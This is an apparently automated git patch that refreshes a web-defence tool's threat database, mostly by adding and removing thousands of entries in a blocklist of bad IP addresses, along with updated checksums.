From b61e1c0c70532cdcbecc285e33387c66be750822 Mon Sep 17 00:00:00 2001 From: Dwi Siswanto Date: Thu, 10 Aug 2023 00:06:07 +0000 Subject: [PATCH] db: Update resources [Thu Aug 10 00:06:07 UTC 2023] :robot: --- db/MD5SUMS | 6 +- db/bad-ip-addresses.txt | 9926 +++++++++++++++++++-------------------- db/cves.json | 2 +- db/db.tar.zst | Bin 435874 -> 436047 bytes 4 files changed, 4967 insertions(+), 4967 deletions(-) diff --git a/db/MD5SUMS b/db/MD5SUMS index 84cec1b5..f1a5f851 100644 --- a/db/MD5SUMS +++ b/db/MD5SUMS @@ -1,7 +1,7 @@ fec396f8dc853587673931d40c417a2b bad-crawlers.txt -01539c0605da3fe27f15185857927fce bad-ip-addresses.txt +163783c6585f1448f6ed228f5b0eddf1 bad-ip-addresses.txt a1d6e0c632f0d104ce40bbc4cc4ecd86 bad-referrers.txt 14eef9b9a2c7a248425c4e9b24360eef common-web-attacks.json -d9eaf900b16348b7d111f1f024e14ee7 cves.json -5f1f140fb122684a7cbd693d02918f50 db.tar.zst +cf60ca94fedc9aa717da76cb4f2283b5 cves.json +1b7e534dbcbcbf0664adea52872c166e db.tar.zst 1f304a7dcc8c417f7b3d027f7ef3c97f directory-bruteforces.txt diff --git a/db/bad-ip-addresses.txt b/db/bad-ip-addresses.txt index 508096b3..80337322 100644 --- a/db/bad-ip-addresses.txt +++ b/db/bad-ip-addresses.txt @@ -1,1764 +1,1808 @@ 1.116.243.210 -1.117.22.30 -1.15.248.71 -1.15.79.140 -1.179.128.124 -1.203.115.79 -1.207.250.77 -1.212.197.133 +1.117.192.120 +1.117.87.68 +1.12.60.77 +1.145.107.218 +1.176.185.237 +1.202.82.212 +1.212.197.134 +1.215.40.195 1.22.54.70 1.230.102.229 1.234.2.108 1.234.2.45 1.234.2.91 1.234.23.220 -1.234.44.166 -1.234.47.239 1.234.80.51 1.235.198.19 1.235.198.20 -1.28.87.38 -1.31.80.162 +1.24.223.242 +1.246.219.231 +1.252.63.242 +1.254.140.135 1.31.87.230 +1.34.135.20 +1.34.69.11 1.34.70.148 1.34.81.80 1.55.155.113 -1.69.20.167 +1.57.23.121 +1.6.52.178 +1.62.154.219 +1.69.100.26 +1.69.111.13 +1.69.112.171 +1.69.57.168 1.69.99.128 -1.7.180.245 -1.70.100.239 +1.70.101.75 +1.70.11.199 +1.70.126.29 +1.70.127.166 1.70.127.222 -1.70.130.167 -1.70.135.74 -1.70.14.81 +1.70.13.187 +1.70.138.34 +1.70.139.140 +1.70.161.130 1.70.165.120 -1.70.8.169 -1.70.8.180 +1.70.165.164 +1.70.83.155 1.70.84.191 +1.70.9.119 +1.71.249.210 +1.82.135.154 +1.82.191.114 +1.83.154.19 1.9.78.242 +100.12.206.227 100.2.160.123 -101.0.96.126 +100.2.41.222 +100.33.46.31 101.108.97.249 -101.13.0.108 -101.13.0.186 -101.13.0.206 -101.13.0.207 -101.13.0.212 -101.13.0.228 -101.13.0.229 -101.13.0.234 -101.13.0.238 -101.13.0.245 +101.13.0.208 +101.13.0.230 +101.13.0.25 101.13.0.253 +101.13.0.28 +101.13.0.3 101.13.0.32 101.13.0.39 -101.13.0.41 +101.13.0.59 +101.13.0.62 101.13.0.75 -101.13.0.76 -101.13.0.97 -101.13.1.10 -101.13.1.14 +101.13.1.11 +101.13.1.24 +101.13.1.26 +101.13.1.3 101.13.1.30 -101.13.1.31 -101.13.1.37 -101.13.1.57 -101.13.1.66 -101.13.1.67 -101.132.97.94 -101.200.166.251 -101.201.119.119 +101.13.1.45 +101.13.1.64 +101.13.1.85 +101.200.58.103 101.207.113.73 101.207.232.128 -101.251.197.46 +101.226.198.2 +101.228.51.134 101.32.103.44 101.32.31.213 101.32.46.184 101.32.74.175 101.33.123.220 101.33.80.197 +101.34.32.158 101.34.47.253 -101.36.102.41 +101.34.51.50 +101.35.54.195 +101.36.105.11 101.36.107.47 -101.36.108.106 101.36.118.6 -101.36.153.79 +101.36.151.78 101.36.161.174 -101.36.174.71 +101.36.172.163 +101.36.177.227 101.36.177.84 101.36.179.63 +101.36.181.142 101.36.97.131 101.42.25.236 -101.42.250.241 -101.43.110.129 +101.43.146.142 101.43.54.155 -101.43.56.68 101.43.78.92 -101.43.93.18 -101.99.74.238 -101.99.90.175 +101.44.2.137 +101.69.242.122 +101.83.32.96 +101.95.97.158 102.128.78.38 +102.128.78.42 102.128.78.77 -102.129.37.140 -102.134.147.243 -102.218.10.142 +102.214.16.209 +102.218.10.141 102.219.212.87 -102.219.33.34 -102.219.86.14 -102.22.146.178 +102.220.158.10 +102.220.204.29 102.220.22.170 +102.220.22.196 102.220.22.246 -102.220.22.34 -102.221.249.143 -102.221.249.91 +102.220.23.35 +102.220.23.51 102.222.160.111 102.223.173.17 102.223.180.124 -102.223.73.1 102.223.92.101 102.36.230.165 +102.37.155.123 102.50.247.101 -102.90.34.90 103.10.171.14 -103.100.9.29 +103.10.231.109 +103.100.217.50 103.101.161.45 103.101.83.5 103.103.100.60 +103.103.30.125 103.105.200.194 +103.105.225.43 +103.106.104.19 103.106.104.9 +103.106.154.15 103.107.36.18 +103.107.99.31 +103.108.156.66 103.108.60.16 103.110.84.163 -103.113.29.89 103.113.36.4 +103.113.83.168 103.114.107.36 -103.114.144.203 -103.115.131.115 +103.114.146.178 +103.115.152.250 103.115.24.11 -103.116.52.74 103.117.141.63 -103.118.168.67 103.119.3.77 -103.12.163.2 -103.121.165.10 -103.121.197.83 -103.122.162.124 +103.12.161.205 103.122.162.222 103.122.162.68 -103.122.21.253 -103.123.1.108 -103.123.1.110 -103.123.1.111 -103.123.1.117 -103.123.1.152 -103.123.1.153 -103.123.1.17 103.123.63.116 -103.124.136.5 -103.124.188.186 +103.124.93.2 103.125.161.93 -103.125.253.241 103.126.172.6 -103.127.30.241 103.127.53.122 +103.129.108.14 103.129.220.243 -103.13.206.121 103.13.207.165 103.130.198.219 -103.130.214.232 103.130.218.31 -103.130.219.13 -103.130.219.147 103.131.104.66 -103.131.189.152 -103.131.189.4 -103.131.189.71 103.132.98.173 -103.133.57.242 +103.133.127.138 103.135.117.82 -103.135.34.178 +103.135.168.86 103.135.88.206 -103.137.75.74 +103.136.82.222 +103.137.89.38 103.138.173.113 -103.139.192.146 103.139.192.182 -103.139.43.227 -103.14.225.184 103.14.26.208 103.140.234.177 103.141.111.253 -103.141.208.61 103.141.64.94 103.142.139.230 -103.142.87.92 103.143.171.228 -103.143.230.237 -103.143.248.101 103.143.248.52 103.143.248.87 103.143.248.95 -103.144.148.233 +103.144.177.144 103.144.243.112 103.144.28.193 -103.144.28.202 103.144.3.111 +103.144.87.192 103.145.181.242 +103.145.27.1 103.145.85.41 -103.146.0.135 +103.146.141.221 103.146.158.176 103.146.158.191 -103.146.202.151 -103.146.233.213 +103.146.234.60 103.146.50.194 -103.147.186.75 +103.146.50.91 +103.146.53.131 103.147.242.68 103.147.242.96 103.147.248.12 -103.147.248.44 -103.148.113.55 +103.147.248.61 103.148.201.174 -103.148.202.145 -103.148.202.15 +103.148.202.6 103.149.27.51 103.149.28.105 -103.149.9.16 -103.150.191.218 -103.152.145.14 -103.152.164.103 -103.153.136.74 -103.153.254.110 -103.153.78.59 -103.155.74.13 -103.157.115.106 +103.149.74.230 +103.149.74.231 +103.151.194.210 +103.153.214.253 +103.155.77.94 +103.155.86.96 +103.157.114.74 +103.157.115.2 +103.158.57.10 +103.159.132.143 103.159.156.227 -103.159.21.114 +103.161.150.80 103.161.150.82 -103.161.17.229 +103.161.150.83 +103.161.232.197 103.162.15.39 103.162.20.106 103.162.20.168 103.162.29.14 -103.162.41.18 +103.163.215.12 103.164.221.210 -103.164.98.138 +103.164.26.38 103.165.130.61 -103.165.156.195 +103.165.156.194 103.165.78.179 -103.165.93.246 103.166.150.138 -103.166.210.26 -103.170.191.23 +103.166.156.80 +103.17.48.8 103.170.204.115 -103.170.246.85 -103.171.115.132 -103.171.157.58 -103.171.162.91 +103.170.221.246 +103.171.168.210 +103.171.84.43 +103.171.84.7 103.171.86.18 103.171.91.192 +103.172.205.156 103.172.94.224 -103.173.137.105 -103.173.154.252 -103.174.164.188 +103.173.78.11 103.175.142.107 103.175.172.179 -103.176.78.125 -103.176.78.202 -103.176.79.0 +103.175.189.171 +103.175.189.172 +103.175.8.200 +103.176.78.193 103.176.79.163 103.176.96.66 103.176.96.68 -103.176.96.75 -103.177.212.2 -103.178.229.198 +103.176.96.74 103.178.77.119 103.179.148.18 -103.179.198.14 +103.179.242.89 103.179.57.14 103.179.57.150 103.179.57.5 103.179.57.51 +103.181.14.250 103.181.142.170 -103.181.158.67 +103.181.142.68 +103.181.212.142 +103.181.212.168 +103.182.10.47 103.183.47.4 -103.185.243.3 103.186.0.207 103.186.18.10 -103.186.185.205 103.186.240.167 -103.186.28.56 103.186.99.250 -103.187.147.100 -103.187.191.184 -103.187.191.208 +103.187.147.35 +103.187.191.248 103.187.78.74 -103.187.83.129 103.188.164.219 -103.189.131.74 103.189.234.25 -103.189.86.13 -103.191.178.123 -103.195.236.140 +103.191.76.155 +103.196.165.110 +103.198.26.21 +103.198.26.73 +103.198.26.80 103.199.215.23 103.2.233.237 +103.20.34.160 103.203.224.181 103.203.57.13 103.203.57.15 -103.203.57.23 +103.203.57.16 +103.203.57.17 +103.203.57.21 +103.203.57.22 103.203.57.28 103.203.57.4 +103.203.57.6 103.203.58.0 103.203.58.1 -103.203.59.10 -103.203.59.12 103.203.59.14 103.203.59.16 -103.203.59.2 -103.203.59.6 +103.203.59.4 +103.203.59.8 +103.204.119.133 103.205.113.243 -103.205.133.81 -103.206.105.197 103.206.72.2 103.207.8.96 -103.209.252.10 -103.210.133.15 -103.212.211.151 -103.214.11.80 -103.214.112.138 +103.209.140.118 +103.210.21.179 103.214.175.211 103.215.222.84 -103.215.223.26 103.215.83.131 103.217.78.2 -103.218.243.201 -103.221.221.135 103.221.252.46 -103.224.152.30 +103.224.215.102 +103.224.32.215 103.224.36.226 -103.226.248.146 +103.225.13.56 +103.226.138.171 +103.226.248.168 103.229.84.98 103.23.198.10 -103.231.202.90 -103.231.248.56 103.233.2.182 -103.235.106.123 -103.235.34.82 +103.233.206.154 103.237.144.132 103.237.144.204 103.237.146.15 103.237.54.140 103.238.71.108 -103.238.71.112 -103.239.171.56 +103.239.67.178 +103.239.67.198 +103.240.110.130 103.241.225.17 103.242.199.146 103.245.109.37 -103.248.41.172 +103.248.32.54 103.248.60.70 -103.250.10.88 -103.250.11.146 +103.249.77.2 103.250.11.181 -103.250.159.26 +103.250.11.82 +103.250.52.250 +103.251.143.14 103.251.167.20 +103.251.52.55 103.252.117.45 -103.254.71.45 +103.252.119.76 +103.253.43.6 +103.254.132.114 103.26.136.173 -103.3.120.53 +103.26.137.52 +103.26.51.88 +103.28.52.210 103.31.38.183 103.35.65.109 103.36.100.239 -103.37.80.90 -103.4.145.50 -103.4.231.226 +103.37.60.9 +103.37.83.26 +103.38.4.238 103.40.101.148 -103.42.124.113 +103.40.123.18 +103.44.13.14 103.45.246.23 103.45.246.42 103.45.65.71 -103.47.174.165 -103.48.116.43 -103.48.192.48 -103.48.193.7 -103.5.104.119 +103.47.184.2 103.5.133.82 -103.52.114.20 103.55.75.8 -103.56.149.67 +103.56.61.130 103.56.61.132 103.56.61.139 103.56.61.144 103.59.196.14 -103.59.38.201 -103.63.108.25 +103.61.73.158 +103.65.197.142 103.65.227.252 103.66.50.94 -103.68.52.210 103.69.217.206 -103.69.238.10 -103.7.40.39 +103.69.217.238 103.70.190.142 103.72.147.158 -103.72.3.52 -103.73.164.190 -103.74.70.13 +103.73.188.133 103.74.72.221 -103.76.139.254 -103.76.205.104 -103.76.208.146 -103.77.172.96 +103.75.199.210 103.77.173.141 -103.78.88.51 +103.78.143.130 +103.78.205.84 +103.79.90.72 +103.80.197.28 +103.80.27.106 +103.81.189.67 +103.81.86.208 +103.82.145.161 103.82.145.99 -103.82.22.225 +103.82.240.194 103.82.241.69 -103.82.82.193 103.83.80.82 -103.84.130.186 -103.84.250.67 +103.84.236.242 103.85.160.7 -103.86.146.91 -103.86.49.28 103.86.50.193 -103.87.130.161 -103.9.159.153 +103.90.203.131 +103.91.103.51 +103.91.136.18 103.91.182.93 103.92.24.242 -103.93.237.50 +103.92.39.187 +103.92.39.244 +103.93.201.18 103.96.148.217 103.96.150.19 103.96.151.81 +103.97.166.58 +103.97.245.93 +103.97.247.139 103.98.4.2 -103.99.10.254 103.99.149.26 -103.99.36.22 -104.131.1.32 +104.129.130.234 104.131.12.184 -104.131.128.22 104.131.128.37 +104.131.129.113 +104.131.13.185 +104.131.14.215 104.131.144.12 -104.131.144.23 -104.131.144.25 +104.131.144.26 104.131.144.28 -104.131.144.40 +104.131.144.30 104.131.144.42 -104.131.180.54 104.131.190.193 -104.131.3.1 +104.131.39.193 104.131.40.97 -104.131.64.92 -104.131.68.23 +104.131.55.236 104.131.69.237 104.131.8.206 -104.131.85.173 +104.131.91.148 +104.136.151.100 104.140.14.4 -104.156.155.20 -104.156.155.30 -104.156.155.33 +104.152.52.206 +104.156.155.14 +104.156.155.3 104.168.68.119 104.168.77.217 104.168.87.98 104.168.96.242 -104.175.17.241 104.175.239.228 -104.183.11.123 104.186.204.146 -104.192.1.138 -104.193.255.123 -104.194.250.202 -104.197.209.149 +104.192.0.18 104.198.240.165 104.199.31.214 104.199.35.3 104.199.76.31 -104.214.70.49 -104.218.165.30 -104.219.234.42 +104.218.164.140 +104.218.164.191 +104.218.165.102 +104.219.232.122 104.223.153.7 104.224.177.195 -104.225.145.67 -104.225.158.183 104.225.159.240 104.236.111.25 -104.236.128.13 104.236.128.22 -104.236.128.9 -104.236.182.223 +104.236.128.26 +104.236.128.30 +104.236.128.46 104.236.193.132 -104.236.2.45 104.236.200.116 104.236.237.117 104.236.246.102 104.236.38.145 -104.237.156.209 104.237.252.98 +104.244.72.115 104.244.72.187 104.244.77.2 104.244.78.79 104.248.128.156 -104.248.129.104 104.248.129.38 +104.248.130.34 104.248.131.9 +104.248.133.15 104.248.136.93 -104.248.141.116 -104.248.143.84 +104.248.141.166 104.248.146.84 +104.248.150.150 104.248.153.128 104.248.159.207 -104.248.171.228 104.248.172.34 +104.248.174.190 +104.248.176.85 +104.248.194.172 104.248.196.36 104.248.197.238 -104.248.229.49 +104.248.203.191 104.248.232.207 104.248.253.245 -104.248.31.56 104.248.37.11 104.248.38.71 104.248.46.211 104.248.50.109 104.248.51.246 104.248.55.154 -104.248.87.181 -104.248.90.102 104.248.92.191 104.249.156.202 104.249.156.250 -104.48.214.10 +104.254.245.173 +104.45.17.110 104.48.36.213 -105.112.249.195 -105.22.37.86 -105.73.197.117 -105.96.53.70 -106.105.164.57 -106.110.192.3 -106.111.102.164 -106.116.204.43 -106.117.8.13 +104.59.121.228 +104.62.163.6 +104.63.194.47 +105.174.43.102 +105.242.133.7 +106.1.189.152 +106.107.173.49 +106.110.193.218 +106.110.195.195 +106.112.194.160 +106.117.19.53 +106.117.6.43 106.12.109.212 106.12.167.159 +106.12.48.161 106.120.246.2 106.13.16.33 -106.14.147.117 +106.14.107.122 +106.14.151.105 106.146.233.215 106.15.253.5 -106.15.38.206 -106.201.232.177 -106.241.198.138 +106.201.233.139 +106.225.193.157 106.241.54.211 106.246.224.154 -106.246.89.68 -106.252.20.88 +106.246.89.71 106.37.72.43 -106.38.105.12 -106.41.140.77 +106.38.45.210 +106.39.231.119 +106.41.28.99 106.41.45.170 -106.41.71.199 -106.51.1.227 -106.51.126.174 +106.41.75.3 +106.51.104.140 +106.51.128.170 +106.51.152.34 106.51.174.68 -106.51.62.149 +106.51.2.11 106.51.71.157 106.51.85.232 -106.75.128.152 +106.52.172.16 +106.52.231.213 +106.73.172.64 106.75.132.98 106.75.136.216 -106.75.148.170 +106.75.147.108 106.75.148.71 -106.75.166.159 -106.75.167.127 -106.75.169.139 +106.75.152.212 +106.75.152.39 +106.75.164.14 +106.75.165.198 106.75.17.82 -106.75.174.6 -106.75.34.68 -106.75.72.126 -106.75.73.178 -106.75.74.133 -106.75.75.223 -107.0.200.227 -107.148.198.132 -107.150.103.62 -107.150.105.183 -107.150.105.209 -107.150.105.217 -107.150.117.103 -107.150.117.107 -107.150.123.227 -107.150.99.175 +106.75.176.99 +106.75.233.124 +106.75.41.146 +106.91.215.100 +107.150.102.211 +107.150.103.49 +107.150.104.174 +107.150.105.239 +107.150.121.179 +107.150.127.138 +107.155.50.176 +107.155.55.166 +107.155.56.171 107.155.60.8 -107.170.118.81 -107.170.192.15 -107.170.192.20 -107.170.192.22 -107.170.192.29 107.170.192.33 -107.170.192.5 -107.170.20.247 -107.170.208.31 -107.170.225.14 -107.170.225.17 -107.170.225.19 +107.170.20.63 +107.170.208.18 +107.170.208.38 +107.170.224.11 +107.170.224.30 +107.170.224.38 107.170.225.22 -107.170.226.22 -107.170.227.14 -107.170.227.19 +107.170.225.23 +107.170.226.21 +107.170.226.36 +107.170.227.12 107.170.227.25 -107.170.228.20 +107.170.227.26 +107.170.228.18 107.170.228.43 +107.170.228.46 +107.170.228.53 107.170.229.48 +107.170.229.49 107.170.229.63 -107.170.230.21 107.170.230.26 -107.170.230.33 -107.170.231.23 -107.170.231.5 -107.170.232.15 -107.170.233.13 +107.170.231.41 +107.170.232.56 +107.170.232.58 +107.170.233.41 +107.170.233.42 +107.170.234.13 107.170.234.15 -107.170.234.17 -107.170.235.19 +107.170.234.30 +107.170.234.42 +107.170.234.43 +107.170.235.17 107.170.235.37 -107.170.236.28 -107.170.236.31 -107.170.236.32 +107.170.236.10 +107.170.236.19 107.170.236.41 107.170.237.17 -107.170.238.10 -107.170.238.14 -107.170.238.40 -107.170.239.16 +107.170.237.50 +107.170.237.54 +107.170.237.73 +107.170.238.38 +107.170.238.43 +107.170.238.48 107.170.239.33 +107.170.239.34 +107.170.239.40 107.170.239.48 -107.170.239.49 -107.170.240.23 -107.170.240.35 -107.170.241.11 +107.170.240.42 +107.170.240.46 +107.170.241.18 107.170.241.20 -107.170.241.22 -107.170.243.21 -107.170.244.13 +107.170.241.46 +107.170.242.11 +107.170.243.28 +107.170.243.29 +107.170.243.44 107.170.244.31 +107.170.244.32 107.170.245.10 -107.170.245.26 -107.170.245.37 +107.170.245.9 107.170.246.19 -107.170.246.21 -107.170.247.16 +107.170.246.44 +107.170.247.13 +107.170.247.37 +107.170.247.39 +107.170.248.34 +107.170.248.42 107.170.248.6 -107.170.249.12 107.170.249.14 -107.170.251.23 +107.170.250.11 +107.170.250.36 +107.170.251.41 +107.170.251.7 +107.170.252.18 +107.170.252.41 107.170.252.44 -107.170.252.45 -107.170.252.56 -107.170.252.58 -107.170.252.61 -107.170.253.35 -107.170.253.38 +107.170.252.49 +107.170.252.55 +107.170.253.14 +107.170.253.28 +107.170.253.7 107.170.253.8 +107.170.254.23 107.170.254.27 -107.170.255.24 +107.170.254.30 107.170.255.30 -107.170.255.35 -107.170.255.7 -107.170.39.69 -107.170.76.103 +107.170.52.175 +107.172.140.147 +107.172.143.146 107.172.180.47 -107.172.201.220 107.172.79.248 -107.172.80.130 107.172.99.124 107.173.122.150 107.173.144.254 -107.173.159.131 +107.173.156.220 +107.173.157.241 107.173.165.18 -107.173.84.163 -107.173.84.228 -107.174.192.43 +107.173.82.241 +107.174.180.104 +107.174.230.3 +107.174.252.242 107.174.69.127 107.175.44.163 +107.175.79.85 107.179.43.178 -107.180.88.176 -107.182.128.213 -107.182.128.219 -107.182.16.2 -107.182.236.107 +107.181.162.144 107.182.26.176 +107.185.233.61 107.189.1.231 107.189.12.65 +107.189.3.11 +107.189.30.69 107.189.4.181 107.189.5.203 107.189.8.24 107.196.176.41 107.217.126.41 107.6.112.252 -108.14.29.114 +107.91.190.44 +108.137.14.167 108.166.217.141 -108.167.178.116 +108.17.148.182 108.171.92.54 -108.174.106.248 108.174.57.176 108.178.138.237 108.184.77.27 -108.223.229.130 -108.235.171.220 +108.185.229.135 108.41.10.210 108.54.121.142 -108.58.247.158 -108.60.166.206 +108.60.201.92 108.81.41.6 108.87.157.123 -109.103.24.40 -109.107.84.40 +109.1.91.52 +109.121.216.41 109.122.221.11 -109.123.250.105 +109.123.234.233 +109.123.244.166 109.125.137.170 109.130.122.122 109.132.238.5 109.167.197.20 -109.173.122.75 -109.174.10.11 +109.167.200.10 109.194.111.98 109.195.148.73 +109.195.22.28 +109.195.242.57 109.205.181.21 -109.205.183.109 109.205.183.172 +109.205.213.12 109.205.213.34 109.205.214.188 -109.206.242.152 109.206.243.228 -109.207.200.43 -109.207.200.47 -109.237.26.92 +109.226.29.230 +109.235.7.212 +109.237.96.179 109.237.96.50 -109.237.97.180 +109.237.98.134 109.237.98.153 109.237.98.157 109.237.98.185 109.237.98.226 -109.245.208.154 +109.238.232.229 109.247.6.153 109.248.212.17 109.248.6.78 -109.70.100.65 -109.70.100.67 -109.70.100.68 +109.61.64.9 +109.70.100.4 +109.72.170.205 +109.74.204.123 +109.75.46.121 +109.92.237.234 +109.98.208.42 110.11.234.8 -110.136.216.109 110.141.212.12 -110.164.147.94 +110.142.19.12 +110.164.65.119 110.166.216.162 -110.17.162.54 110.170.38.34 -110.172.141.155 -110.177.100.214 -110.177.146.50 -110.177.80.129 110.177.96.74 110.178.40.102 -110.178.41.168 -110.178.43.68 -110.178.46.3 -110.179.121.86 +110.178.74.28 +110.180.138.61 110.180.147.253 -110.180.151.169 -110.180.154.17 -110.180.177.234 -110.181.107.151 +110.180.155.8 +110.180.160.198 +110.181.106.146 110.181.110.110 -110.181.114.103 +110.181.117.83 110.181.119.252 -110.181.77.153 +110.181.234.26 +110.181.236.132 110.182.164.2 -110.182.188.28 -110.182.227.97 -110.182.243.151 +110.182.166.144 +110.182.171.83 +110.182.184.162 +110.182.224.47 +110.182.225.147 +110.182.226.151 +110.182.242.252 +110.182.245.213 110.182.248.174 110.182.248.88 -110.182.251.8 -110.182.96.233 -110.183.152.76 +110.182.249.125 +110.182.251.9 +110.182.97.94 110.183.154.93 110.183.20.72 -110.183.21.17 -110.183.24.107 -110.183.52.237 +110.183.21.103 +110.183.22.175 110.183.52.55 -110.183.54.42 -110.226.176.241 +110.183.54.194 +110.183.59.166 +110.226.179.93 110.227.198.68 -110.227.202.226 110.227.203.10 +110.227.250.173 +110.227.251.79 +110.227.252.108 110.235.243.121 -110.238.68.180 -110.249.135.116 110.25.88.160 110.25.99.25 -110.25.99.26 -110.25.99.27 110.25.99.35 -110.25.99.37 -110.25.99.39 -110.35.173.103 -110.36.227.150 -110.39.181.194 +110.25.99.92 +110.39.81.117 110.40.151.212 110.45.145.194 110.45.146.223 +110.49.167.250 +110.49.76.244 +110.50.48.253 110.80.19.243 -111.113.8.70 -111.118.140.250 -111.120.9.83 -111.121.217.93 -111.14.217.114 -111.160.101.82 -111.160.116.170 +110.90.14.14 +111.12.63.34 +111.120.1.198 +111.16.208.89 111.160.208.34 111.161.125.133 111.161.41.156 -111.161.65.146 -111.163.188.141 +111.17.205.38 111.173.104.132 -111.2.113.75 -111.207.192.117 -111.21.45.74 +111.180.193.53 +111.207.231.65 111.217.204.48 -111.23.117.117 +111.229.252.89 +111.23.117.108 +111.23.117.219 +111.23.174.204 111.23.182.154 -111.230.62.32 -111.238.174.6 -111.28.128.154 -111.33.86.22 -111.33.89.90 +111.33.42.198 +111.33.43.86 +111.39.212.68 111.39.46.47 +111.40.121.69 +111.44.138.135 111.44.158.197 -111.53.4.174 +111.53.57.77 +111.53.71.96 111.53.87.28 -111.56.31.203 +111.56.176.138 +111.56.185.238 +111.57.0.90 111.6.96.232 +111.61.107.27 111.61.211.217 -111.61.93.20 -111.62.142.14 -111.67.192.132 -111.67.194.160 -111.67.196.206 +111.61.214.106 +111.62.142.17 +111.63.22.72 +111.63.40.221 111.67.197.42 -111.67.199.217 +111.67.197.52 +111.67.198.231 111.67.201.141 +111.68.108.73 111.68.98.152 -111.70.12.114 +111.70.1.239 111.70.12.64 -111.70.13.116 +111.70.12.84 +111.70.14.20 +111.70.16.230 111.70.16.232 -111.70.16.65 -111.70.19.104 +111.70.17.55 +111.70.18.165 +111.70.18.211 111.70.19.149 -111.70.20.39 -111.70.20.90 +111.70.19.159 +111.70.19.21 +111.70.19.4 +111.70.2.127 +111.70.2.66 +111.70.20.54 +111.70.25.161 111.70.25.57 -111.70.26.117 +111.70.26.51 111.70.27.106 -111.70.28.141 -111.70.28.145 +111.70.28.148 111.70.28.217 -111.70.28.39 +111.70.28.49 +111.70.28.51 +111.70.28.55 111.70.28.64 -111.70.28.92 -111.70.37.122 -111.70.37.162 -111.70.37.93 -111.70.5.77 -111.70.7.112 -111.70.7.139 -111.70.9.198 -111.75.223.17 -111.90.150.28 +111.70.29.143 +111.70.29.157 +111.70.3.176 +111.70.37.160 +111.70.37.59 +111.70.5.146 +111.74.8.14 +111.90.173.220 +111.92.109.248 111.93.200.50 111.95.141.34 -112.104.52.138 -112.11.221.136 +112.102.48.193 112.111.183.19 -112.132.249.164 +112.113.124.67 112.133.204.98 112.133.225.72 -112.15.117.200 -112.157.108.141 -112.16.185.112 -112.160.255.234 +112.133.238.235 +112.137.132.89 +112.137.140.40 +112.14.132.197 112.161.116.4 112.161.214.48 +112.162.161.163 112.163.214.174 112.163.242.208 112.164.158.57 112.164.55.185 -112.165.212.156 +112.165.39.125 112.165.44.229 -112.167.180.10 +112.166.10.205 +112.167.233.14 112.167.247.43 -112.168.168.36 +112.167.4.168 112.168.27.14 -112.170.115.251 -112.170.198.189 +112.169.120.117 +112.17.101.33 112.171.50.213 112.172.191.54 -112.173.174.97 -112.173.42.188 +112.173.125.118 +112.173.90.204 112.184.144.231 112.184.182.2 -112.185.10.38 -112.185.201.226 -112.186.198.235 +112.185.246.51 +112.185.26.212 +112.187.12.214 +112.194.142.147 +112.196.62.36 112.196.76.140 -112.197.113.76 112.199.211.170 112.199.95.199 -112.213.120.30 +112.2.5.121 +112.213.120.23 112.213.120.6 +112.213.120.81 112.216.108.62 -112.216.96.154 +112.216.178.154 +112.217.207.26 +112.217.225.59 +112.220.238.3 112.221.4.3 -112.237.26.27 -112.246.50.152 -112.251.1.101 +112.239.142.22 +112.245.55.60 +112.26.177.148 +112.26.240.59 +112.26.246.205 +112.26.74.117 112.26.89.149 -112.27.148.14 -112.27.155.194 -112.28.209.251 +112.27.121.90 112.28.209.66 112.28.9.167 -112.30.65.87 +112.30.1.17 +112.30.211.165 112.31.107.31 +112.31.93.182 +112.31.93.229 +112.31.93.6 +112.5.10.207 112.5.3.230 -112.51.3.63 -112.54.41.84 -112.6.211.131 +112.6.114.199 112.64.32.118 -112.72.130.9 +112.64.33.38 +112.78.177.219 112.91.185.162 -112.94.5.43 +112.98.110.210 113.0.67.250 -113.108.131.2 -113.128.13.18 -113.128.229.114 -113.131.245.30 -113.141.90.197 -113.16.195.187 -113.160.171.63 -113.161.239.142 -113.161.46.47 -113.195.172.6 +113.108.88.121 +113.109.133.110 +113.140.1.50 +113.160.244.144 +113.195.160.147 +113.195.172.95 113.195.172.96 -113.204.147.26 +113.195.172.98 +113.200.214.20 +113.200.98.17 113.21.232.39 -113.219.213.168 -113.221.77.95 -113.239.157.158 -113.239.158.203 -113.24.128.158 -113.24.128.242 -113.24.167.240 -113.24.191.60 +113.215.42.136 +113.221.78.43 +113.221.79.218 +113.229.81.104 +113.234.195.199 +113.239.154.128 +113.24.144.106 +113.24.146.109 +113.24.164.51 +113.25.200.60 +113.25.207.155 +113.25.211.58 +113.255.148.30 +113.26.121.80 113.26.122.67 -113.26.196.125 +113.26.154.224 +113.26.191.217 113.26.199.213 -113.26.228.109 +113.26.235.76 +113.26.56.168 113.26.81.113 -113.26.89.115 -113.27.33.219 -113.27.36.217 +113.26.85.167 +113.27.32.223 +113.27.34.156 113.30.150.23 -113.52.149.243 +113.30.150.83 +113.31.162.174 113.53.253.55 -113.57.92.188 +113.57.110.56 +113.57.152.156 +113.59.187.167 +113.62.119.50 113.62.160.110 -114.104.204.9 +114.105.103.186 +114.108.181.139 114.113.234.44 -114.129.28.238 -114.132.234.174 -114.132.250.235 -114.139.211.25 -114.139.211.3 -114.141.53.82 -114.165.9.187 +114.115.212.180 +114.174.37.184 +114.199.123.211 114.205.54.184 114.206.23.151 -114.207.113.200 -114.216.213.67 +114.214.164.36 +114.216.207.9 114.216.24.24 +114.216.25.145 +114.217.12.155 114.217.123.212 -114.217.145.208 -114.217.173.49 +114.218.117.196 114.218.214.46 +114.218.9.137 +114.219.119.137 114.219.241.174 -114.220.164.179 -114.220.78.164 +114.220.131.197 114.221.213.218 -114.226.108.68 +114.226.103.151 +114.226.135.184 114.226.192.100 114.226.192.157 +114.226.192.28 114.226.192.74 -114.226.210.221 -114.226.36.48 -114.227.15.106 -114.227.183.225 -114.227.30.128 -114.227.55.26 -114.227.61.22 -114.228.173.143 -114.228.190.191 -114.228.203.4 -114.228.236.152 -114.239.126.179 -114.239.134.7 -114.239.159.177 +114.227.113.49 +114.227.133.33 +114.227.35.93 +114.227.60.42 +114.228.190.53 +114.228.68.180 +114.238.123.219 +114.238.198.167 +114.238.62.239 +114.239.100.160 +114.239.116.243 +114.239.142.12 114.239.165.14 -114.239.210.76 -114.239.217.81 +114.239.166.157 114.239.27.216 -114.242.200.61 +114.239.33.231 +114.239.36.126 +114.239.73.31 +114.239.74.26 +114.239.75.105 +114.239.89.135 +114.239.89.207 +114.242.38.20 114.246.242.57 -114.25.128.214 +114.253.19.196 +114.27.80.145 +114.32.1.46 +114.32.125.127 114.32.142.38 -114.32.250.37 -114.33.157.94 +114.32.19.113 +114.32.191.1 114.33.254.154 -114.35.34.12 -114.35.52.89 -114.44.131.199 +114.33.56.178 +114.34.121.242 +114.34.145.40 +114.34.185.127 